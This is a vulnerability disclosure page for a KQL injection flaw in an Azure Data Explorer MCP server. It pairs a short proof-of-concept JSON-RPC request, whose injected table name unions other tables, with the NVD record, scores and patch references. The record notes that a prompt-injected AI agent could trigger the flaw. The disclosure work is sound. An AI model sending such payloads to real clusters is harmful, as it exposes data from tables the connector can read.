CVE-2026-33980

# PoC Code for CVE-2026-33980 KQL Injection # Target: Azure Data Explorer MCP Server <= 0.1.1 # Vulnerable Parameter: table_name # The vulnerable handler constructs the query like this: # kql_query = f".show table {table_name} schema" # Malicious payload to inject a KQL command # This attempts to bypass the intended query and execute a union operation malicious_payload = "MyTable | union withsource=TableName * | limit 10" # Simulated request to the vulnerable endpoint # POST /mcp/sample_table_data { "jsonrpc": "2.0", "method": "tools/call", "params": { "name": "sample_table_data", "arguments": { "table_name": "MyTable | union withsource=TableName * | limit 10" } }, "id": 1 } # Resulting KQL executed on the server: # .show table MyTable | union withsource=TableName * | limit 10 schema # This could leak data from other tables accessible to the connector.

{"cve": {"id": "CVE-2026-33980", "sourceIdentifier": "[email protected]", "published": "2026-03-27T22:16:22.607", "lastModified": "2026-04-22T14:38:22.487", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Azure Data Explorer MCP Server is a Model Context Protocol (MCP) server that enables AI assistants to execute KQL queries and explore Azure Data Explorer (ADX/Kusto) databases through standardized interfaces. Versions up to and including 0.1.1 contain KQL (Kusto Query Language) injection vulnerabilities in three MCP tool handlers: `get_table_schema`, `sample_table_data`, and `get_table_details`. The `table_name` parameter is interpolated directly into KQL queries via f-strings without any validation or sanitization, allowing an attacker (or a prompt-injected AI agent) to execute arbitrary KQL queries against the Azure Data Explorer cluster. Commit 0abe0ee55279e111281076393e5e966335fffd30 patches the issue."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L", "baseScore": 8.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 5.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-943"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:pab1it0:azure_data_explorer_mcp_server:*:*:*:*:*:*:*:*", "versionEndIncluding": "0.1.0", "matchCriteriaId": "B3933040-DE34-4038-ACFC-1DD6D5BA0842"}]}]}], "references": [{"url": "https://github.com/pab1it0/adx-mcp-server/commit/0abe0ee55279e111281076393e5e966335fffd30", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/pab1it0/adx-mcp-server/security/advisories/GHSA-vphc-468g-8rfp", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/pab1it0/adx-mcp-server/security/advisories/GHSA-vphc-468g-8rfp", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}